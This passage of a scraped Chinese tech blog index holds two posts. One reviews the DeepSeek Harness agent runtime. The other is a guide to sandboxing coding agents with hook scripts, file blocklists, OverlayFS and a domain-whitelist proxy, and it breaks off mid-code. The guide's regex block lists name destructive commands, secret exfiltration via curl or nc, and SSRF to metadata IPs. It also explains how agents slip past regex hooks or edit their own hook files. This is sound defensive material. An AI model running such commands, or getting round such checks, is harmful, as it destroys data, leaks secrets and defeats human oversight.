直接被识别。跑通本身毫无门槛——门槛在后面。 ","date":"2026-08-13","objectID":"/posts/2026/08/13/deepseek-harness-hands-on/:1:0","tags":["tech","ai","deepseek","harness","agent","plugin","event-sourcing"],"title":"DeepSeek Harness 实测：开源当晚破 3 万 star 的 Agent 运行时","uri":"/posts/2026/08/13/deepseek-harness-hands-on/"},{"categories":["Tech"],"content":"二、第一印象：像 Codex，但处处露出\"框架\"的底子 界面乍看和本地 Agent 产品没什么两样：左侧会话列表、中间对话区、顶栏有模型选择（DeepSeek-V4-Flash）和推理等级（Off / High / Max）。 但细看全是\"框架思维\"的痕迹： 四种 Agent 预设：标准模式（完整编码 Agent）/ PTC 模式（模型写 TypeScript 编排多步工具调用）/ 极简模式（只有 bash + 文件编辑两个工具，官方用它跑自家模型的基准测试）/ 创造模式（让你在内存里捣鼓插件、自己造预设）。“极简模式用于模型基准测试”——官方评测自家模型用的就是这个 harness，V4 Flash 的更新日志里写过这句话 模型市场：默认接入近 40 家第三方模型（Kimi、OpenAI、Anthropic、Google……），模型只是插件 “一切皆插件”：工具、模型适配器、提示词、存储、UI 区域，都是插件 ","date":"2026-08-13","objectID":"/posts/2026/08/13/deepseek-harness-hands-on/:2:0","tags":["tech","ai","deepseek","harness","agent","plugin","event-sourcing"],"title":"DeepSeek Harness 实测：开源当晚破 3 万 star 的 Agent 运行时","uri":"/posts/2026/08/13/deepseek-harness-hands-on/"},{"categories":["Tech"],"content":"三、实测一：Three.js 小游戏，慢，但它在自我验收 此前有媒体用\"滑沙游戏\"任务横评过 DSH / Reasonix / Codex 三家。我们复刻了同款任务： 创建一个 Three.js 滑沙小游戏，单文件 index.html：玩家从沙丘顶端下滑，穿过沿途的门，抵达沙漠绿洲。 首先，它真的很慢。 任务跑了 10 分钟还停在\"进行中\"，这是状态栏（实时数据）： 1 轮 · 20 步 | LLM 7m15s · 工具调用 3m26s | 缓存命中 99% | 输入 1.1M tok · 输出 50.8K tok 输入 1.1M token——它把整个游戏代码、截图分析结果、探针输出全部喂给了模型反复检查。DeepSeek 的长思考模型 + 反复验证 = 半小时级任务（此前媒体横评也观察到了同样的现象）。 但慢得有道理：它不是在\"写一遍就交差\"，它在自我验收。 会话轨迹里可以看到它干的事： 生成游戏 → 自己截图 → 分析像素颜色，然后发现自己的颜色分类逻辑有 bug（“teal 桶里其实是天空像素，b\u003eg\u003er 的蓝色被算成了水”） 对比三张截图的文件哈希，确认动画真的在推进（“帧确实在变，只是场景主体都是沙丘导致颜色分布相近”） 写了个探针把游戏状态写进 document.title 配合无头浏览器虚拟时间测量物理推进——然后发现 headless 下虚拟时间与真实时间比例约 8:1 的坑，自己调整预算继续测 这不是\"生成完就交差\"的 agent，是真的在对自己产物做质量验收的 agent。这种\"验收闭环\"（生成 → 实测 → 发现缺陷 → 调整策略）是执行层能力的直接体现：当模型完全相同时，Harness 提供的工具、提示词、上下文组织和执行策略，足以显著改变最终产物——这一点我们实测同样成立。 产物本身：40KB 单文件，headless 浏览器打开渲染正常（canvas 正常、无 JS 报错），点击即可开始。下面三帧是同一局游戏的不同时刻（每 5 秒一帧）——沙丘、蓝天、光线变化说明它真的在跑： ","date":"2026-08-13","objectID":"/posts/2026/08/13/deepseek-harness-hands-on/:3:0","tags":["tech","ai","deepseek","harness","agent","plugin","event-sourcing"],"title":"DeepSeek Harness 实测：开源当晚破 3 万 star 的 Agent 运行时","uri":"/posts/2026/08/13/deepseek-harness-hands-on/"},{"categories":["Tech"],"content":"四、意外收获：审批机制，和\"写工作区外\"的真实教训 第二个任务想让它建一个 Python 命令行 todo 工具（加功能 + 写测试 + 跑通），指定了工作区之外的目录。然后任务就挂起了——不是失败，是卡在审批上。 查看会话日志（事件溯源，见下节），一切都有据可查： {\"type\": \"approval/policy\", \"seq\": 2, \"data\": {\"policy\": \"ask\"}} ... {\"type\": \"approval/asked\"} ← 写工作区外，触发审批，无人审批，任务挂起 默认策略是 ask：涉及工作区之外的写入，模型不能自作主张，必须人点\"允许\"。headless 自动化没有审批人，任务就永远挂着。这对想做无人值守自动化的团队是个真实提醒：DSH 的权限边界是硬约束，不是摆设——而它的策略状态（workspace-write / ask）是直接写进会话日志的，重启不丢（详见下节）。 ","date":"2026-08-13","objectID":"/posts/2026/08/13/deepseek-harness-hands-on/:4:0","tags":["tech","ai","deepseek","harness","agent","plugin","event-sourcing"],"title":"DeepSeek Harness 实测：开源当晚破 3 万 star 的 Agent 运行时","uri":"/posts/2026/08/13/deepseek-harness-hands-on/"},{"categories":["Tech"],"content":"五、插件实测：“一切皆插件\"不是口号，130 个内置插件打底 官方发布时 Web 版就内置了 130 个插件（实测 dsh --profile web --dump-default-config 数出 130 个 - id: 条目；headless 版 81 个）——插件生态不是从零起步，是官方先铺好了底。而灰度测试期间社区就已经有人在做插件了，开源时即可安装，比如 dsh-better-sidebar（发布在 npm，一条命令安装）： dsh plugin --profile web add dsh-better-sidebar 装完重启，侧边栏从\"会话列表\"变成了一个完整的 Explorer 文件树（懒加载目录、右键复制路径、@文件 引用到输入框）。点开一个 HTML 文件： CodeMirror 6 编辑器打开，可直接编辑、Ctrl+S 保存 切到预览：沙箱 iframe 渲染，顶部有状态提示——“沙箱模式：已启用 · 页面无法访问界面数据与本地文件，登录态与第三方 Cookie 可能不可用”，并提供\"临时解锁（不安全）“按钮 这个\"预览即沙箱、解锁有红警提示\"的设计，比很多正式 IDE 的预览器还谨慎。而这个插件还带：内嵌浏览器、xterm 真实终端（node-pty）、Git 面板（真 diff + 右键暂存/提交）、后台任务拓扑视图、移动端适配——一个社区插件就是一套迷你 IDE。 安装过程中也踩到 README 预警的坑：pnpm 的 strict-dep-builds 拦了 node-pty 的构建脚本，需要 pnpm approve-builds --all 放行。README 一字不差地预告了这个坑——插件文档的成熟度也是\"社区已形成\"的证据。 “一切皆插件\"的验证结论：真的。 工具是插件、模型是插件、UI 是插件、连侧边栏都是插件——官方 130 个插件打底 + 灰度期就有社区插件改 UI，这种扩展性上限，一体式产品（Codex 没有插件体系）给不了。 ","date":"2026-08-13","objectID":"/posts/2026/08/13/deepseek-harness-hands-on/:5:0","tags":["tech","ai","deepseek","harness","agent","plugin","event-sourcing"],"title":"DeepSeek Harness 实测：开源当晚破 3 万 star 的 Agent 运行时","uri":"/posts/2026/08/13/deepseek-harness-hands-on/"},{"categories":["Tech"],"content":"六、会话与数据：事件溯源，眼见为实 dsh 架构里最值得实锤的一点，这次实测直接看到了实据。磁盘上的会话是这样的： ~/.dsh/sessions/--tmp--/\u003csession-id\u003e/session.jsonl.zstd zstd 压缩的 append-only 事件日志，每个会话一个目录。解压看一次完整对话： {\"type\": \"session\", \"cwd\": \"/tmp\", \"agentPreset\": \"standard\"} ← 会话头 {\"type\": \"permission/preset\", \"data\": {\"preset\": \"workspace-write\"}} ← 权限是事件 {\"type\": \"sandbox/mode\", \"data\": {\"mode\": \"workspace-write\"}} ← 沙箱是事件 {\"type\": \"approval/policy\", \"data\": {\"policy\": \"ask\"}} ← 审批策略是事件 {\"type\": \"user/message\", \"data\": {\"text\": \"测试发送：回复OK\"}} {\"type\": \"request/header\", \"data\": {\"model\": \"deepseek-v4-flash\"}} ← 实际请求的模型也记录 {\"type\": \"reasoning-chunks\"} ← 思考过程 {\"type\": \"assistant/chunk\"} ← 流式输出 {\"type\": \"turn/end\", \"data\": {\"reason\": {\"kind\": \"completed\"}}} 系统提示词、思维链、工具调用与结果、模型请求头、审批策略——全部在日志里，模型看到的一切都来自这条日志的派生。 实测里我们重启过服务、中断过任务，会话一条没丢：磁盘上 4 个会话完好。这就是\"恢复、分叉、回放共享同一份事件流\"的实据——不是产品文档里的承诺，是磁盘上能数出来的文件。 ","date":"2026-08-13","objectID":"/posts/2026/08/13/deepseek-harness-hands-on/:6:0","tags":["tech","ai","deepseek","harness","agent","plugin","event-sourcing"],"title":"DeepSeek Harness 实测：开源当晚破 3 万 star 的 Agent 运行时","uri":"/posts/2026/08/13/deepseek-harness-hands-on/"},{"categories":["Tech"],"content":"七、结论：它是基础设施，不是又一个 Codex 这一轮实测下来，我们自己的结论是： 它确实不是 Codex 的竞品。Codex 交付的是\"拿来即用的 Agent”；DSH 交付的是\"组装 Agent 的运行时”——预设、profile、插件、事件溯源，它把大量结构暴露给你，让你自己决定 Agent 是谁。用它的官方公式：Agent = Model + Harness，模型是灵魂，Harness 是让模型在真实场景持续工作的能力。它是基础设施，不是产品 惊艳的地方：插件生态的上限（官方内置 130 插件 + 灰度期社区插件）、事件溯源的彻底性（策略状态都进日志）、agent 的自我验收闭环 劝退的地方：慢（半小时级任务 + 1.1M token 输入）、无 TUI（交互前门只有 Web）、配置门槛（模型、预设、权限都要自己摆弄）、预览版说变就变（rc.5 明确\"THERE WILL BE COMPATIBILITY-BREAKING CHANGES”） 给自动化用户的提醒：权限边界是硬约束，无人值守场景先解决审批（策略从 ask 改成更宽松的模式，或补审批人） DeepSeek 过去最受关注的是模型；harness 是它第一次处理\"模型之外\"的问题：工具如何组织、上下文如何保存、执行过程如何留痕、同一套系统里如何跑不同的 Agent。“Agent 和模型同样是基础设施”——这句话能不能成立，取决于接下来一个月它的插件生态和 1.0 的稳定性。我们按模式跟踪，不按版本追车。 附：本文全部实测基于 dsh 0.1.0-rc.6（npm 发布版），环境为 Linux + Node 22 + DeepSeek-V4-Flash。文中截图均为实测截取。 ","date":"2026-08-13","objectID":"/posts/2026/08/13/deepseek-harness-hands-on/:7:0","tags":["tech","ai","deepseek","harness","agent","plugin","event-sourcing"],"title":"DeepSeek Harness 实测：开源当晚破 3 万 star 的 Agent 运行时","uri":"/posts/2026/08/13/deepseek-harness-hands-on/"},{"categories":["Tech"],"content":"Agent 沙箱不是二进制选择（有/没有），是四层递进防御：Hook 预检 → 文件系统隔离 → 网络熔断 → 进程监狱。每层拦不同类型的灾难，本文给每层一个可运行的配置。","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":" Prompt 是劝，沙箱是墙。劝一个 Agent 别干坏事是没用的——它分不清哪些是数据、哪些是指令。你能做的只有一件事：把它关进一个干不了坏事的屋子里。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:0:0","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"0. 一个凌晨三点的电话 上个月某天凌晨三点，我朋友打来电话。他的 Claude Code Agent 在修一个配置文件时，把 rm -rf /home/user/project/data/* 改成了 rm -rf /home/user/project/data /*——多了一个空格，/* 从\"data 下的所有文件\"变成了\"根目录下的所有文件\"。然后整个项目目录就没了。 好在 repo 在 GitHub 上有推送，clone 回来就行——但 .git 也被删了，工作区里没 push 的改动全丢了。如果你问他\"Agent 为什么能执行这种命令\"，答案是：没有任何东西拦着它。 你给 Agent 一个 Bash 工具，它就什么都能干。curl 能把你的环境变量发到外部服务器。git push --force 能把远程仓库搞没。pip install 能装任何包。Agent 不会\"恶意\"做这些事——它只是不知道边界在哪。 上一篇我画了 Harness 六组件全景图。这篇扎进第一个组件深处：工具系统的安全边界到底怎么画。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:1:0","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"1. 威胁模型：边界沿三个通道画 谈沙箱之前先想清楚防什么。Agent 会惹的事，归到底只有三个通道： Agent读 · 保密性读到了不该读的.env / ~/.ssh / 云凭证商业机密 / 用户数据写 · 完整性写了不该写的rm -rf / 改 CI 配置改 hooks / 给自己提权连 · 渗出连了不该连的curl 把数据传出去DNS 隧道 / 恶意下载 图 1：Agent 的威胁模型——读、写、连三个通道 文件系统隔离管\"读\"和\"写\"——Agent 能碰哪些文件； 网络隔离管\"连\"——Agent 能跟哪些地址说话； 权限模型管每个动作的\"要不要问\"——哪些放行、哪些拦截、哪些人审。 这三个通道不是平行的——读是写的前置，连是写的放大器。读到 .env 不可怕，读到之后能 curl 出去才可怕。防御也不是三个独立的墙，是四层递进叠加。每一层拦不同类型的灾难，配不同的粒度： ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:2:0","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"2. 不是二进制开关，是四层递进防御 说到\"沙箱\"，很多人第一反应是 Docker——要么在容器里跑，要么不在。但 Agent 的安全问题不是二进制的。 举个例子：Agent 要改一个文件。如果把它关在 Docker 里，它只能改容器内的文件——安全了，但它也改不到你本地的项目。它就没有用了。 所以真正的沙箱不是一道墙，是四层递进防御。每一层拦不同类型的灾难，配不同的粒度： Agent 工具调用第一层：Hook 预检 — 命令级拦截在命令执行之前检查。拦危险模式：rm -rf /、DROP TABLE、curl 敏感数据外传、git push --force。开销：~1ms | 粒度：单条命令 | 绕过难度：低（Agent 可以改写命令绕过正则）第二层：文件系统隔离 — 路径级拦截限制 Agent 能读写的目录。Worktree、只读挂载、敏感文件黑名单（.env、secrets.yaml、~/.ssh）。开销：~10ms（worktree 创建时 ~300ms）| 粒度：目录/文件 | 绕过难度：中第三层：网络熔断 — 连接级拦截白名单/黑名单域名、内网 IP 拦截、速率限制。防数据外泄和 SSRF。开销：~5ms | 粒度：域名/IP/端口 | 绕过难度：中高（需要了解网络拓扑）第四层：进程监狱 — 环境级隔离Docker/VM 级隔离、资源限制（CPU/内存/磁盘）、系统调用过滤（seccomp）。Agent 做的事全在狱里。开销：1-5s（容器启动）| 粒度：整个运行环境 | 绕过难度：高（需要内核漏洞） 图 2：Agent 沙箱四层递进防御模型。每层不是替代关系，是叠加关系。 关键洞察：这四层不是四选一，是叠着用。 每加一层，Agent 能造的灾难就少一批，同时 Agent 的能力也受限一批。沙箱设计的核心问题是\"你愿意用多少能力换多少安全\"——而不是\"怎么做到绝对安全\"。 下面一层一层拆开，每层给一个可运行的配置。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:3:0","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"3. 第一层：Hook 预检——命令级拦截 这是最轻的一层。在命令发给 shell 之前，用正则/规则引擎检查它是否危险。拦住了就不执行，没拦住就放行。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:4:0","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"3.1 它拦什么 类型 危险模式 为什么危险 破坏性删除 rm -rf /、rm -rf ~、rm -rf ./* 递归删根目录或家目录 数据库灾难 DROP TABLE、DROP DATABASE、TRUNCATE 不可逆数据清除 强制推送 git push --force、git push -f 覆盖远程历史 敏感文件操作 chmod 777、\u003e /etc/passwd 权限泄露或系统破坏 数据外传 curl.*\\.env、nc.*192\\.168 把敏感数据发出去 权限变更 sudo、su - 提权操作 注意：不是所有 rm 都危险。rm -rf ./node_modules 没问题，rm -rf / 有问题。规则要区分合法操作和同等命令的灾难版本。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:4:1","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"3.2 实现 Claude Code 的 PreToolUse Hook 在这一层。下面是一个可用的配置： // .claude/settings.json — PreToolUse Hook 拦截危险命令 { \"hooks\": { \"PreToolUse\": [ { \"matcher\": \"Bash\", \"hooks\": [ { \"type\": \"command\", \"command\": \"python3 .claude/hooks/danger-guard.py\" } ] } ] } } # .claude/hooks/danger-guard.py — 危险命令守卫 import sys, json, re # 从 stdin 读 Hook 传入的 tool_input tool_input = json.load(sys.stdin) command = tool_input.get(\"command\", \"\") # 规则集：每一条是 (正则, 风险等级, 说明) RULES = [ # === CRITICAL: 直接拒绝 === (r\"rm\\s+-rf\\s+/\", \"CRITICAL\", \"禁止递归删除根目录\"), (r\"rm\\s+-rf\\s+~\", \"CRITICAL\", \"禁止递归删除家目录\"), (r\"rm\\s+-rf\\s+\\$HOME\", \"CRITICAL\", \"禁止递归删除家目录\"), (r\"DROP\\s+(TABLE|DATABASE)\", \"CRITICAL\", \"禁止 DROP TABLE/DATABASE，请用迁移工具\"), (r\"TRUNCATE\\s+(TABLE\\s+)?\", \"CRITICAL\", \"禁止 TRUNCATE，请用 DELETE + WHERE\"), (r\"git\\s+push\\s+.*(--force|-f)\", \"CRITICAL\", \"禁止 git push --force，请用 --force-with-lease\"), # === HIGH: 需人工确认 === (r\"curl.*\\.env\", \"HIGH\", \"疑似将 .env 文件内容外传\"), (r\"(nc|netcat)\\s+.*\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\", \"HIGH\", \"nc 连接 IP，疑似数据外传\"), (r\"sudo\\s+\", \"HIGH\", \"提权操作\"), (r\"chmod\\s+777\", \"HIGH\", \"过度开放文件权限\"), # === MEDIUM: 记录日志但不拦截 === (r\"pip\\s+install\", \"MEDIUM\", \"安装新包——检查是否为已知包\"), (r\"npm\\s+install\\s+-g\", \"MEDIUM\", \"全局安装 npm 包\"), ] blocked = False for pattern, level, reason in RULES: if re.search(pattern, command): if level == \"CRITICAL\": print(json.dumps({ \"decision\": \"block\", \"reason\": f\"[{level}] {reason}\\n匹配模式: {pattern}\\n命令: {command[:200]}\" })) blocked = True break elif level == \"HIGH\": print(json.dumps({ \"decision\": \"ask\", \"reason\": f\"[{level}] {reason}\\n命令: {command[:200]}\\n是否继续？\" })) blocked = True break elif level == \"MEDIUM\": # 仅记录到审计日志，不拦截 with open(\"/tmp/agent-audit.log\", \"a\") as f: f.write(f\"[MEDIUM] {reason} | cmd: {command[:200]}\\n\") if not blocked: print(json.dumps({\"decision\": \"allow\"})) 这层的好处是零基础设施——不需要 Docker，不需要额外进程，就是一段脚本。缺点也很明显：基于正则的拦截可以被绕过。 Agent 如果把 rm -rf / 写成 rm -rf /./ 或者包在 sh -c 里，规则就漏过去了。 所以这层只拦意外和低级错误，不防对抗。下一层开始动真格。 工程纪律：Hook 和权限配置不能放在 Agent 够得着的地方。 被关的人不能拿着钥匙。项目目录里的 hooks 配置，Agent 自己就能改——改完它就自由了。安全相关的 Hook 一律放全局目录（~/.claude/hooks/）、设只读，配置变更进 git 审计。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:4:2","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"4. 第二层：文件系统隔离——让 Agent 只碰到该碰的文件 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:5:0","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"4.1 核心思路 Agent 不需要访问你的全部文件系统。它需要的是： 项目代码（读写）——正在改的那个 repo 临时目录（读写）——构建产物、测试输出 包缓存（只读）——node_modules、.venv、pip cache 系统工具（只执行，不读写）——/usr/bin/git、/usr/bin/python 除此之外，下面这些东西 Agent 绝对不该碰： 不该碰的 原因 ~/.ssh/ 私钥泄露 = 服务器全沦陷 ~/.aws/、~/.config/gcloud/ 云服务凭证 .env、.env.local、secrets.* 数据库密码、API key ~/.claude/（部分文件） 你的全局配置和记忆 /etc/ 系统配置 其他项目的 repo 误操作波及 文件系统隔离从轻到重有四层做法。不是四选一，是看你的威胁模型到哪层： 工作目录约束 + Hook 拦截。 最轻量。Agent 默认只在项目目录活动，PreToolUse Hook 禁掉敏感路径（.env、~/.ssh、~/.aws）。成本几乎为零，但 Hook 拦不住就全裸——适合日常开发基线。 OS 级沙箱。 不换工作方式，直接用操作系统自带的隔离机制：macOS 的 Seatbelt（sandbox-exec）、Linux 的 bubblewrap / seccomp / Landlock。进程级隔离，开销比容器小得多。Anthropic 后来官方放出的 sandbox-runtime 走的就是这条路——说明他们也承认，光劝是不够的。 容器。 Docker 或 devcontainer，只把项目目录挂进去，HOME 是临时的，云凭证、SSH 密钥、浏览器 cookie 统统不在 Agent 的视野里。 microVM。 Firecracker、gVisor、Kata 这一档，每个 Agent 一个轻量虚拟机，内核都不共享。e2b 这类 Agent 运行时用的就是 Firecracker。重量、启动慢，但跑来路不明的代码时，这是唯一让人睡得着的选项。 下面展开两种实用的工程方案：Worktree（轻量隔离，秒级创建）和 OverlayFS（写时复制，修改不进原项目）。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:5:1","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"4.2 方案 A：Git Worktree（轻量） 最轻量的隔离：Agent 在独立 worktree 里工作，改的是副本，出了问题不影响原 repo。 # 创建隔离 worktree git worktree add /tmp/agent-sandbox-$(date +%s) main cd /tmp/agent-sandbox-* Claude Code 的 EnterWorktree 工具就是这个模式。Worktree 的好处是文件系统完全隔离——Agent 在 worktree 里 rm -rf * 也删不到原项目。加上敏感文件保护： // .claude/settings.local.json — 敏感文件写保护 { \"hooks\": { \"PreToolUse\": [ { \"matcher\": \"Write|Edit\", \"hooks\": [{ \"type\": \"command\", \"command\": \"python3 .claude/hooks/sensitive-file-guard.py\" }] } ] } } # .claude/hooks/sensitive-file-guard.py — 敏感文件保护 import sys, json, os tool_input = json.load(sys.stdin) file_path = tool_input.get(\"file_path\", \"\") SENSITIVE_PATTERNS = [ \".env\", \".env.local\", \".env.production\", \"secrets.yaml\", \"secrets.yml\", \"secret.yaml\", \"credentials.json\", \"service-account.json\", \"id_rsa\", \"id_ed25519\", \"id_ecdsa\", \".aws/credentials\", \".aws/config\", \".ssh/\", \".gnupg/\", ] abs_path = os.path.abspath(file_path) for pattern in SENSITIVE_PATTERNS: if pattern in abs_path: print(json.dumps({ \"decision\": \"block\", \"reason\": f\"禁止修改敏感文件: {abs_path}\\n匹配模式: {pattern}\" })) sys.exit(0) print(json.dumps({\"decision\": \"allow\"})) ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:5:2","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"4.3 方案 B：只读挂载 + OverlayFS（中级） 对更严格的需求，把项目目录只读挂载，上面叠一层 OverlayFS 让 Agent 写入： # 只读挂载原项目 mount --bind /home/user/project /mnt/ro-project mount -o remount,ro /mnt/ro-project # OverlayFS：Agent 的写入全到 upperdir，不影响原项目 mount -t overlay overlay \\ -o lowerdir=/mnt/ro-project,upperdir=/tmp/agent-upper,workdir=/tmp/agent-work \\ /mnt/agent-workspace Agent 看到的是完整的项目目录，但所有修改都进了 /tmp/agent-upper。确认没问题后，手动合并回去。有问题就直接删 /tmp/agent-upper。 这方案适合 CI 场景——Agent 跑完，diff 一下 upperdir，人工确认后再合入。 一个自检问题：Agent 能看到的文件系统，和你能看到的文件系统，差集是什么？ 差集里每一样东西——.env、SSH 密钥、云凭证、Cookie——就是你的攻击面清单。隔离的颗粒度，就是把这张清单一项项划掉的过程。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:5:3","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"5. 第三层：网络熔断——Agent 发不出不该发的请求 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:6:0","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"5.1 攻击面 Agent 的 Bash 工具能执行 curl、wget、nc、python -c \"import requests\"。一不留神，你的环境变量就通过 HTTP 请求发出去了。 这层的目标是：Agent 可以访问它需要的网络资源，但不能访问它不需要的。 白名单模式比黑名单模式安全得多。 工程上三种做法，从轻到重： 环境变量级。 容器或沙箱里设 HTTPS_PROXY 指向一个你控制的代理，代理按域名放行。最灵活，也是最容易被绕的——Agent 可以 unset 它。下面 §5.2 给参考实现。 容器网络级。 --network none 彻底断网，或者自建 bridge 配合 iptables 只放行白名单域名。这才是\"默认拒绝\"的正确落地。§6 的 Docker 沙箱配的就是这种。 服务网格级。 多 Agent 场景下，每个 Agent 容器的出站流量全部接管，按身份放行。生产环境玩法，个人用不到，但思路一样。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:6:1","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"5.2 方案：SOCKS5 代理 + 白名单 起一个本地代理，所有 Agent 的网络流量走这个代理，代理只放行白名单域名： # agent-network-proxy.py — Agent 专用网络代理 # 启动: python3 agent-network-proxy.py --port 9999 # 配置: export HTTP_PROXY=socks5://127.0.0.1:9999 import socket, struct, sys from urllib.parse import urlparse # 白名单：Agent 只能访问这些域名 ALLOWED_DOMAINS = { \"pypi.org\", \"files.pythonhosted.org\", # pip \"registry.npmjs.org\", # npm \"github.com\", \"api.github.com\", # git \"raw.githubusercontent.com\", \"docs.python.org\", \"developer.mozilla.org\", # 文档 # 按需扩展 } def parse_socks5_connect(data: bytes) -\u003e str | None: \"\"\"从 SOCKS5 CONNECT 请求中提取目标域名\"\"\" try: atyp = data[3] if atyp == 0x03: # 域名 domain_len = data[4] domain = data[5:5+domain_len].decode() return domain elif atyp == 0x01: # IPv4 return socket.inet_ntoa(data[4:8]) except Exception: return None def handle_client(client_sock): \"\"\"处理一个 SOCKS5 客户端连接\"\"\" # SOCKS5 握手 client_sock.recv(262) client_sock.send(b\"\\x05\\x00\") # 无需认证 # SOCKS5 CONNECT 请求 request = client_sock.recv(262) domain = parse_socks5_connect(request) if domain is None: client_sock.close() return # 检查白名单 allowed = any( domain == d or domain.endswith(\".\" + d) for d in ALLOWED_DOMAINS ) if not allowed: print(f\"[BLOCK] {domain}\") client_sock.send(b\"\\x05\\x04\\x00\\x01\" + socket.inet_aton(\"0.0.0.0\") + b\"\\x00\\x00\") client_sock.close() return print(f\"[ALLOW] {domain}\") # 连接真实目标 port = struct.unpack(\"!H\", request[-2:])[0] remote = socket.create_connection((domain, port)) client_sock.send(b\"\\x05\\x00\\x00\\x01\" + socket.inet_aton(\"0.0.0.0\") + b\"\\x00\\x00\") # 双向转发 import select while True: r, _, _ = select.select([client_sock, remote], [], [], 30) if not r: break for sock in r: data = sock.recv(8192) if not data: return if sock is client_sock: remote.send(data) else: client_sock.send(data) # 启动 SOCKS5 服务 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((\"127.0.0.1\", int(sys.argv[2]))) server.listen(5) print(f\"Agent 网络代理已启动: 127.0.0.1:{sys.argv[2]}\") while True: client, addr = server.accept() handle_client(client) Agent 启动时配好环境变量： export HTTP_PROXY=socks5://127.0.0.1:9999 export HTTPS_PROXY=socks5://127.0.0.1:9999 # Agent 现在只能访问白名单域名 注意用 socks5h 而不是 socks5。 尾字母 h 表示域名交给代理去解析，本地不碰 DNS——DNS 隧道这条路顺带也断了。 两个容易漏的暗门： DNS 也是通道。 域名解析本身能携带数据——把秘密编码进 xxx.evil.com 的子域名查出去，防火墙都看不见。严格模式下 DNS 也得走代理。 包管理器是后门。 npm/pip 装包本质是\"下载并执行陌生人的代码\"。要么锁版本 + 离线仓库，要么装包这一步拿出沙箱做。 ","date":"2026-07-19","objectID":"/posts/2026/07/19/harness-engineering-sandbox/:6:2","tags":["tech","ai","harness engineering","agent","sandbox","claude code","security"],"title":"Harness Engineering 之二：给 Agent 搭一个安全沙箱","uri":"/posts/2026/07/19/harness-engineering-sandbox/"},{"categories":["Tech"],"content":"5.3 更轻的方案：Hook 级网络检查 如果不想起代理服务，可以在 Hook 里检查网络操作： # 补充到 danger-guard.py 中 NETWORK_DANGER_RULES = [ # 数据外传模式 (r\"curl.*https?://(?!api\\.github\\.com|pypi\\.org|registry\\.npmjs\\.org)\", \"HIGH\", \"curl 到非白名单域名——疑似数据外传\"), (r\"wget.*https?://(?!api\\.github\\.com)\", \"HIGH\", \"wget 到非白名单域名\"), (r\"nc\\s+-[lL].*\\d+\", \"CRITICAL\", \"nc 监听端口——疑似开启后门\"), (r\"python3?\\s+-c.*(requests|urllib|http\\.client|socket)\", \"HIGH\", \"Python 一行脚本发起网络请求\"), # SSRF 模式 (r\"(curl|wget|nc).*169\\.254\\.169\\.254\", 